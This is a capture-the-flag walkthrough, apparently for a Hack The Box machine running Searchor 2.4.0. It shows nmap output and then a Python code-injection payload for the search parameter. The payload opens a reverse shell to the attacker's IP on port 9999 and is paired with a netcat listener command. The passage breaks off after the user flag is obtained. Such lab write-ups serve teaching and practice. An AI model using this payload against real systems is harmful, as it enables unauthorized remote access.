Nmap Scan

$ nmap -A -T4 -vvv 10.10.11.208 -Pn -oN nmapscan

Increasing send delay for 10.10.11.208 from 0 to 5 due to 11 out of 11 dropped probes since last increase.
Nmap scan report for 10.10.11.208
Host is up, received user-set (0.59s latency).
Scanned at 2023-05-30 01:13:51 EDT for 85s
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIzAFurw3qLK4OEzrjFarOhWslRrQ3K/MDVL2opfXQLI+zYXSwqofxsf8v2MEZuIGj6540YrzldnPf8CTFSW2rk=
|   256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTtbUicaITwpKjAQWp8Dkq1glFodwroxhLwJo6hRBUK
80/tcp open  http    syn-ack Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to <http://searcher.htb/>
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
# Nmap done at Tue May 30 01:15:16 2023 -- 1 IP address (1 host up) scanned in 85.67 seconds

• Found 2 ports open
• Adding ‘10.10.11.208 searcher.htb’ in the /etc/hosts file

• The website http://sercher.htb has a search feature.
• From the wappalyzer extension, we learn that it is using Flask web framework
• Version of the Website written at the bottom of the page - (Searchor 2.4.0)
• Found for exploit in Github.
• Found exploit in - https://github.com/nexis-nexis/Searchor-2.4.0-POC-Exploit-
• The exploit can be used in the search query parameter.
• The exploit-

', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.16.19',9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

• Start a netcat listener and change the port address in the exploit accordingly as- nc -lvnp 9999
• Intercept the Search request using Burp. Place the exploit in the value of the query parameter and URL encode and send the request.
• We get a shell on the target machine.

• We also got the user flag.
• Now, a bit of enumeration…